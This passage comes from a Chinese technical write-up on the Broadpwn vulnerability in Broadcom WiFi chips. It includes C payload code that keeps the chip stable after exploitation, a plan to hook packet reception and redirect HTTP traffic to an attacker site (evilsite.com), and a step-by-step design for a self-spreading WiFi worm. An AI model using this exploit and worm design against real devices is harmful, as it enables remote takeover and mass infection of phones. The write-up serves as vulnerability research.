  int i = 0;    
  unsigned int *p_restore_cpsr = (unsigned int *) 0x16010C;
  *p_restore_cpsr = (unsigned int) restore_cpsr;
  printf("Payload triggered, restoring CPSR\n");
  restore_cpsr(cpsr);
  printf("Restoring contents of wlc->pm struct\n");
  memcpy((void *) (0x1e7e02), overflow_orig, sizeof(overflow_orig));    
  return;
}

到此爲止,我們已經實現了我們的第一個也是最重要的任務:對於博通芯片我們有了可靠一致的 RCE ,並且我們對系統的控制不是暫時的 —— 芯片在這個被我們用這個漏洞利用之後也沒有崩潰。

五、下一步-權限提升

在 Broadcom 芯片上實現了穩定的代碼執行之後,攻擊者的目標自然將是要提升其在應用處理器上執行代碼的權限。這個問題有三種主要處理方法:

1.查找 Broadcom 內核驅動程序中處理與芯片通信的錯誤。

2.使用 PCIe 直接讀寫內核內存。 

3.等待攻擊目標瀏覽到非 HTTPS 站點,然後從 WiFi 芯片將其重定向到惡意 URL 。

在我們目前的研究中,還是把立足於 WiFi 芯片上,將用戶重定向到攻擊者控制的站點。而函數 wlc_recv() 是處理所有數據包的起點:

void wlc_recv(wlc_info * wlc,void * p);

參數 p 是指向 HNDRTE 中 sk_buff 的指針。它保存了指向分組數據的指針、分組長度以及指向下一個分組的指針。爲此,我們需要緊跟這個 wlc_recv 函數調用,存儲收到的每個數據包的內容。並尋找封裝着未加密 HTTP 流量的數據包。此時此刻,我們將會修改包含 <script> 標籤的數據包,代碼爲:

top.location.href = http://www.evilsite.com

六、[ 彩蛋 ]第一隻WiFi 蠕蟲

蠕蟲在過去十年中已經走到了生命的盡頭,但博通芯片的這一安全問題可能會讓他們重獲新生:Broadpwn 可以是通過 WLAN 傳播的理想選擇——不需要身份驗證,不需要來自目標設備的信息泄露,也不需要複雜的邏輯就可執行。通過這個 WiFi 蠕蟲,攻擊者可以將受感染的設備轉變爲移動感染源。

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC)

步驟如下:

- 上一部分中,我們已經運行了自己的 payload ,將系統恢復到穩定狀態防止芯片崩潰。payload 會與前文展示的方法相似地掛接住 wlc_recv 。

- wlc_recv_hook中的代碼會檢查每個接收到的數據包,並確定它是否爲 Probe 請求。如果接收到的分組是具有特定 AP 的 SSID 的 Probe 請求,則 wlc_recv_hook 將提取所請求 AP 的SSID,並且通過向 STA 發送 Probe 響應來開始冒充該 AP 。

- 接着,wlc_recv應該會收到驗證數據包,我們的 hook 函數會發送響應。接下來則是 STA 的關聯請求。

- 我們將要發送的下一個數據包是包含WMM IE的關聯響應,這能觸發漏洞。我們能夠做到多次崩潰目標芯片,但不會讓用戶看到內核警報信息,並開始發送適合特定版本固件的、精心設計的數據包。這一步會持續進行,直到我們暴力破解到正確的地址集。 

- 我們在城市中進行了一次測試,從結果可以看到約 70% 的用戶使用的是博通 WiFi芯片。即使假定這個蠕蟲只具備中度感染率,Broadpwn 蠕蟲運行數天的影響也會是非常巨大的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章